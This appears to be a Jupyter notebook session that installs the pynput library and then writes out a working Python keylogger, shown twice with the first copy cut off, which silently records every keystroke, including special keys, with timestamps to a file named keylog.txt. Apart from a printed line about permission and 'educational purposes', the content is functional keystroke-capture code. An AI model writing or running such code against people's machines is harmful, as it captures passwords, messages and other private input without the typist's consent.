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localhost:8888/notebooks/Untitled4.ipynb?kernel_name=python3

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File Edit View Insert Cell Kernel Widgets Help Trusted Python 3 (ipykernel)

In [1]: `pip install pynput`

Collecting pynput
Downloading pynput-1.7.7-py2.py3-none-any.whl (90 kB)
----- 90.2/90.2 kB 465.1 kB/s eta 0:00:00
Requirement already satisfied: six in c:\users\owner\anaconda3\lib\site-packages (from pynput) (1.16.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.7
Note: you may need to restart the kernel to use updated packages.

In []:

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localhost:8888/notebooks/Keylogger.py

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Successfully installed pynput-1.7.7
Note: you may need to restart the kernel to use updated packages.

In []: `import pynput
from pynput.keyboard import Listener
import logging

def main():
 log_file = "keylog.txt"

 logging.basicConfig(
 filename=log_file,
 level=logging.DEBUG,
 format='%(asctime)s: %(message)s'
)

 def on_press(key):
 try:
 logging.info(f"Key pressed: {key.char}") # Log printable characters
 except AttributeError:
 logging.info(f"Special key pressed: {key}") # Log special keys like Shift, Ctrl, etc.

 with Listener(on_press=on_press) as listener:`

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```
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def main():
    log_file = "keylog.txt"

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        level=logging.DEBUG,
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        try:
            logging.info(f"Key pressed: {key.char}") # Log printable characters
        except AttributeError:
            logging.info(f"Special key pressed: {key}") # Log special keys Like Shift, Ctrl, etc.

    with Listener(on_press=on_press) as listener:
        listener.join()

if __name__ == "__main__":
    print("WARNING: Ensure you have permission before running this script.")
    print("This script is intended for educational purposes and ethical use only.")
    main()
```

WARNING: Ensure you have permission before running this script.
This script is intended for educational purposes and ethical use only.

In []: